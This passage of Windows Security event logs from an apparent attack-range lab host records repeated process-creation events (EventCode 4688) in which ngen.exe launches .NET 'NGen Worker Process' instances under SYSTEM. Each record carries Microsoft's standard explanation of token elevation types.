token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254505 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf94 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 708 -InterruptEvent 0 -NGENProcess 71c -Pipe 70c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254504 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe40 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6d8 -InterruptEvent 0 -NGENProcess 6ec -Pipe 6b4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254503 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1118 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6fc -InterruptEvent 0 -NGENProcess 6f0 -Pipe 6f8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254514 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12f4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6e4 -InterruptEvent 0 -NGENProcess 6bc -Pipe 6f4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254513 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc6c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 758 -InterruptEvent 0 -NGENProcess 750 -Pipe 75c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254512 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4e8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6ec -InterruptEvent 0 -NGENProcess 6bc -Pipe 74c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254511 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1394 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 750 -InterruptEvent 0 -NGENProcess 6c0 -Pipe 6d8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254510 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe50 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 718 -InterruptEvent 0 -NGENProcess 6ec -Pipe 71c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254509 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbe0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 720 -InterruptEvent 0 -NGENProcess 6d8 -Pipe 738 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254520 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1268 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6e0 -InterruptEvent 0 -NGENProcess 72c -Pipe 5c8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254519 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x137c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 758 -InterruptEvent 0 -NGENProcess 66c -Pipe 754 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254518 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb8c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 740 -InterruptEvent 0 -NGENProcess 72c -Pipe 428 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254517 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1070 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 66c -InterruptEvent 0 -NGENProcess 64c -Pipe 688 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254516 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1158 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6bc -InterruptEvent 0 -NGENProcess 72c -Pipe 6e8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254515 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 760 -InterruptEvent 0 -NGENProcess 758 -Pipe 764 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254524 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 770 -InterruptEvent 0 -NGENProcess 758 -Pipe 66c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254523 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa58 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 72c -InterruptEvent 0 -NGENProcess 76c -Pipe 750 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254522 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x130c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 648 -InterruptEvent 0 -NGENProcess 758 -Pipe 740 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254521 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef0 